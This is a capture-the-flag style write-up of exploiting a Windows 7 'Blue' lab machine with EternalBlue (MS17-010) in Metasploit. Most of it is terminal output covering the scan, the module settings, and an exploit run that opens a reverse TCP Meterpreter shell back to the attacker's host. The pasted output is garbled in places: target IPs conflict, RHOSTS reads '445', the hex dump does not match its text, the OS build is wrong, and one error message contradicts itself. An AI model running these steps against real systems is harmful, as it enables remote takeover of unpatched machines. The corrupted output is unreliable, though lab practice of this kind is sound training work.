

✖ Exploitation Process

To exploit the Blue machine, we targeted the well-known MS17-010 (EternalBlue) vulnerability affecting Windows 7 SP1 systems running SMBv1.

Using the Metasploit Framework, we selected the module `exploit/windows/smb/ms17_010_eternalblue` and configured it with the appropriate parameters:

- **RHOST:** 192.168.179.129 (Target)
- **LHOST:** Our local attacking IP
- **Payload:** `windows/x64/meterpreter/reverse_tcp`

After launching the exploit, we successfully opened a Meterpreter session, confirming that remote code execution was achieved.

This gave us full access to the system, allowing us to interact with the file system, escalate privileges, and proceed with post-exploitation activities.

```

File Actions Edit View Help
22 \ ADA: ETW_CALLBACKS - - -
23 \ ADA: ETW_CALLBACKS - - -
24 auxiliary/scanner/smb/ms17_010 - normal No MS17-010 SMB RCE Detection
25 \ ADA: DOUBLEPULSAR - - -
26 \ ADA: DOUBLEPULSAR - - -
27 exploit/windows/smb/ms17_010 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
28 \ target: Execute payload (x64) - - -
29 \ target: Neutralize implant - - -

Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/ms17_010
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

msf6 > use 24
msf6 auxiliary/scanner/smb/ms17_010 > options
Module options (auxiliary/scanner/smb/ms17_010):

  Name      Current Setting      Required  Description
  ----      -
  CHECK_ARCH true                no        Check for architecture on vulnerable hosts
  CHECK_DOPU true                no        Check for DOUBLEPULSAR on vulnerable hosts
  CHECK_PIPE false               no        Check for named pipe on vulnerable hosts
  NAMED_PIPE /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes       List of named pipes to check
  RHOSTS     445                 yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      445                 yes       The SMB service port (TCP)
  SMBDomain .                    no        The Windows domain to use for authentication
  SMBPass    .                    no        The password for the specified username
  SMBUser    .                    no        The username to authenticate as
  THREADS    1                   yes       The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

msf6 auxiliary/scanner/smb/ms17_010 > set rhosts 192.168.79.124
rhosts => 192.168.79.124
msf6 auxiliary/scanner/smb/ms17_010 > run
[*] 192.168.79.124:445 - Rcv:ncvulnerable: The host (192.168.79.124:445) was unreachable.
[*] 192.168.79.124:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary/scanner/smb/ms17_010 > set rhosts 192.168.79.140
rhosts => 192.168.79.140
msf6 auxiliary/scanner/smb/ms17_010 > exploit
[*] 192.168.79.140:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7681 Service Pack 1 x64 (64-bit)
[*] 192.168.79.140:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary/scanner/smb/ms17_010 >

```

```
File Actions Edit View Help

root@kali:~

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.79.140
rhosts => 192.168.79.140
msf6 exploit(windows/smb/ms17_010_eternalblue) > check
[*] 192.168.79.140:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 192.168.79.140:445 - Host is likely VULNERABLE to MS17-010 - Windows 7 Ultimate 7681 Service Pack 1 x64 (64-bit)
[*] 192.168.79.140:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.79.140:445 - The target is vulnerable.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost eth0
lhost => 192.168.79.128
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Unknown command: exploit. Did you mean exploit? Run the help command for more details.
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.79.128:4444
[*] 192.168.79.140:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 192.168.79.140:445 - Host is likely VULNERABLE to MS17-010 - Windows 7 Ultimate 7681 Service Pack 1 x64 (64-bit)
[*] 192.168.79.140:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.79.140:445 - The target is vulnerable.
[*] 192.168.79.140:445 - Connecting to target for exploitation.
[*] 192.168.79.140:445 - Connection established for exploitation.
[*] 192.168.79.140:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.79.140:445 - CORE raw buffer dump (38 bytes):
[*] 192.168.79.140:445 - 0x00000000 57 69 66 64 6f 77 73 20 37 20 55 6c 7a 69 6d 61 Windows 7 Ultima
[*] 192.168.79.140:445 - 0x00000010 7a 65 28 37 35 38 31 20 53 65 72 76 69 63 65 20 te 7681 Service
[*] 192.168.79.140:445 - 0x00000020 50 61 63 65 20 31 Pack 1
[*] 192.168.79.140:445 - Target arch selected valid for arch indicated by DCERPC reply
[*] 192.168.79.140:445 - Trying exploit with 12 grow allocations.
[*] 192.168.79.140:445 - Sending all but last fragment of exploit packet
[*] 192.168.79.140:445 - Starting non-paged pool grooming
[*] 192.168.79.140:445 - Sending SMBv2 buffers
[*] 192.168.79.140:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.79.140:445 - Sending final SMBv2 buffers.
[*] 192.168.79.140:445 - Sending last fragment of exploit packet!
[*] 192.168.79.140:445 - Receive response from exploit packet
[*] 192.168.79.140:445 - ETERNALBLUE overwrite successfully (0xc0000000)!
[*] 192.168.79.140:445 - Sending egg to corrupted connection.
[*] 192.168.79.140:445 - Triggering free of corrupted buffer.
[*] Sending stage (283840 bytes) to 192.168.79.140
[*] Meterpreter session 1 opened (192.168.79.128:4444 -> 192.168.79.140:49158) at 2025-07-18 05:45:20 -0400
[*] 192.168.79.140:445 - *****[WIN]*****
[*] 192.168.79.140:445 - *****

meterpreter >
```

[Download PDF Report](#)